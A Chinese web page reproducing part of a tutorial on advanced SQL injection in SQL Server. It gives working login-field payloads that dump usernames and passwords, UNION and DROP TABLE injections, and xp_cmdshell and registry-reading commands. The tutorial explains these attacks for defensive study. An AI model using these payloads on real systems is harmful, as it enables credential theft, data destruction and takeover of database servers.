程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server的高級Sql注入(4)

SQL Server的高級Sql注入(4)

編輯:關於SqlServer

begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+passWord from users where
username>@ret
select @ret as ret into foo
end

攻擊者用這個'username'登陸(明顯都在同一行)

Username: ';begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+passWord from users where username>@ret select @ret as ret into foo end--

這創建了一個只包含單列'ret'的表'foo',而且把我們的字符串放在裡面。通常一個低權限的用戶可以在示例數據庫裡創建表,或者一個臨時表。

之後攻擊者選擇查詢表裡的字符串,就像前面說的:

Username: ' union select ret,1,1,1 from foo--
Username: ' union select ret,1,1,1 from foo--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting
the varchar value ': admin/r00tr0x! guest/guest chris/passWord
fred/sesame' to a column of data type int.
/process_login.ASP, line 35

然後刪除這個表:

Username: '; drop table foo--

這些例子僅僅揭開了這項技術的神秘面紗,不用說,如果攻擊者可以從數據庫獲得豐富的錯誤信息,他們的工作將大大的簡化。

[更深入的訪問]

一旦攻擊者可以控制數據庫,他們可能想通過這些權限來獲得對網絡更多的控制,可以通過很多方法來達到這一目的:

1.利用xp_cmdshell擴展存儲以SQL-Server用戶的身份在數據庫服務器上執行命令
2.利用xp_regread擴展存儲讀取注冊表的鍵值,也包括SAM(只要SQL-Server是以一個本地帳號運行的)
3.用其他的擴展存儲改變服務器設置
4.在聯合服務器上執行查詢
5.創建客戶擴展存儲從而在SQL-Server進程內運行exploit
6.用'bulk insert'語句去讀服務器上任何文件
7.用bcp在服務器上創建任何文本文件
8.用sp_OACreate,sp_OAMethod和sp_OAGetProperty系統存儲過程來創建ActiveX對象來完成ASP腳本可以做的任何事情

這些只是常見的攻擊方法的一部分;攻擊者也很可能通過其他方法來達到目的,我們列舉這些SQL-Server相關的攻擊方法是為了說明如果程序可以被注入SQL語句時可能會發生什麼,我們將依次給出以上各種情況的對策。

[xp_cmdshell]

擴展存儲的本質是編譯了的動態鏈接庫(DLLs),它用SQL-Server指定的調用方式去運行接口函數。他們允許SQL-Server程序擁有了和c/c++一樣的功能,是個非常有用的特性。SQL-Server內置了大量的擴展存儲,而且有各種各樣的函數比如發送郵件和更改注冊表。
xp_cmdshell是一個內置的擴展存儲,它允許執行任意的命令行程序。例如:

exec master..xp_cmdshell 'dir'

將會獲得一個SQL-Server進程所在工作目錄的列表

exec master..xp_cmdshell 'net1 user'

將提供主機用戶的列表。如果SQL Server正常的以本地'system'帳號或者'domain user'帳號運行,攻擊者可以造成更嚴重破壞。

[xp_regread]

另外一個有用的內置的擴展存儲是xp_regXXX函數

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

其中一些函數的用法的舉例:

exec xp_regread HKEY_LOCAL_MacHINE
'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters',
'nullsessionshares'

(它決定服務器的空連接式共享是否可用)

exec xp_regenumvalues HKEY_LOCAL_MacHINE
'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunitIEs'

(它顯示所有的服務器上SNMP公共的設置,通過這個信息,攻擊者可以在相同的網絡區域裡重新配置網絡設置,因為SNMP共有設置很少被改變而且由很多主機共享)

可以想象攻擊者怎樣利用這些函數來讀取SAM文件,改變系統設置在重新啟動後就被服務的應用,或者在用戶下一次登陸時運行任意命令。

[其他擴展存儲]

xp_servicecontrol擴展存儲允許用戶啟動,停止,暫停或者運行服務。

exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'

下面是一些其他有用的擴展存儲表:

xp_availablemedia 顯示機器上可用的驅動器
xp_dirtree 獲得一個目錄樹
xp_enumdsn 列舉服務器上的ODBC數據源
xp_loginconfig 顯示服務器的安全狀態信息
xp_makecab 允許用戶在服務器上創建壓縮文件(或者任何服務器可以訪問的文件)
xp_ntsec_enumdomains 列舉服務器可以訪問的域

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved